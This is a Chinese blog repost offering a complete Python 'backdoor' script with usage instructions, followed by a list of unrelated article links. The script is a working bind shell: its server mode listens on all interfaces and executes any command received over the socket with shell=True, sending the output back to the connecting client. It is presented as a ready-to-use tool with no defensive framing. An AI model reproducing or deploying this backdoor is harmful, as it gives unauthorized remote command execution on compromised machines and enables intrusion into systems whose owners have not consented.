博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
python 后门脚本
阅读量:3964 次
发布时间:2019-05-24

本文共 2549 字,大约阅读时间需要 8 分钟。

脚本

代码:

# 1.编写usage函数# 2.利用getopt模块从命令行获取参数值# 3.区分客户端和服务端# 4. 定义客户端代码,发送服务端命令行的回显内容# 5. 定义服务端代码,接收命令,发动执行命令后的结果给客户端# 6. 定义命令执行函数,执行客户端发送的命令import socketimport getopt #该模块用来获取命令行模块import sysimport subprocessfrom threading import Threaddef main():    target=""    port =0    listen =False    help = False    # 2. 利用getopt模块从命令行获取参数值    opts,args =getopt.getopt(sys.argv[1:],"t:p:hl")    for o,a in opts:        if o=="-t":            target=a        elif o=="-p":            port=int(a)        elif o=="-h":            help=True        elif o=="-l":            listen=True    if help:        usage()    # 3.区分客户端和服务端    elif not listen:        client_handle(target,port)    else:        server_handle(port)# 4.定义客户端代码,发送命令,接收服务端命令行的回显内容def client_handle(target,port):    client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    client.connect((target,port))    while True:        recv_len=1        response="".encode("utf-8")        while recv_len:            data=client.recv(4096)            recv_len=len(data)            response+=data            if recv_len<4096:                break        print(response.decode('gbk'),end="")        # 接收命令        buffer = input("") # str 我们输入的是字符串内容        buffer+="\n"        client.send(buffer.encode('utf-8')) #转化为bytes类型用于传输# 5. 定义服务端代码,接收命令,发送执行命令后的结果给客户端def server_handle(port):    server =socket.socket(socket.AF_INET,socket.SOCK_STREAM)    server.bind(('0.0.0.0',port))    server.listen(10) #定义监听的数量    print("[*] Listening on 0.0.0.0: %d" % port)    while True:        client_socket,addr=server.accept()        print("[*] Accept connection from %s:%d" % (addr[0],addr[1]))        t=Thread(target=run_command,args=(client_socket,))        t.start()# 6.定义命令执行函数,执行客户端发送的命令def run_command(client_socket):    while True:        client_socket.send(b"shell_>")        cmd_buffer="".encode('utf-8') #bytes        while b"\n" not in cmd_buffer:            cmd_buffer+=client_socket.recv(1024)        cmd_buffer = cmd_buffer.decode() # str        try:            out=subprocess.check_output(cmd_buffer,stderr=subprocess.STDOUT,shell=True)            client_socket.send(out)        except:            client_socket.send(b"Failed to execute command.\r\n") #发送执行命令错误的信息# 1.编写usage函数def usage():    print("help info:python backdoor.py -h")    print("client: python backdoor.py -t [target] -p [port]")    print("server: python backdoor.py -lp [port]")    sys.exit()if __name__=="__main__":    main()

使用方法

查看帮助信息

python backdoor.py -h

服务端监听端口

python backdoor -lp [端口号]

客户端连接

python backdoor -t [目标ip] -p [服务端监听的端口号]

转载地址:http://pyhzi.baihongyu.com/

你可能感兴趣的文章
windows 下 netsh 实现 端口映射(端口转发)
查看>>
两个好用的命令行工具 watch 和 rsync
查看>>
信安入门神级书单
查看>>
【IPFS指南】IPFS的竞争对手们(一)
查看>>
docker更换国内镜像
查看>>
CentOS 下 tree命令用法详解
查看>>
docker上传镜像至Registry时https报错解决方法
查看>>
安装 docker-compose (实测可用,妈妈再也不用担心被墙了)
查看>>
docker下删除none的images
查看>>
Linux提权获取敏感信息方法
查看>>
Ubuntu 16.04开机A start job is running for Raise network interface(5min 4s)解决方法
查看>>
Ubuntu 16.04开机隐藏菜单缩短时间
查看>>
Ubuntu 更换国内源
查看>>
Ubuntu16.04下Docker pull connection refused 解决办法
查看>>
通过 三大机制 揭秘 IPFS 工作原理
查看>>
Ubuntu 16.04卸载PostgresQL
查看>>
华为路由器交换机配置命令
查看>>
docker下运行kalilinux并配置ssh访问
查看>>
使用 Docker 容器应该避免的 10 个事情
查看>>
postgres基本操作(个人总结版)
查看>>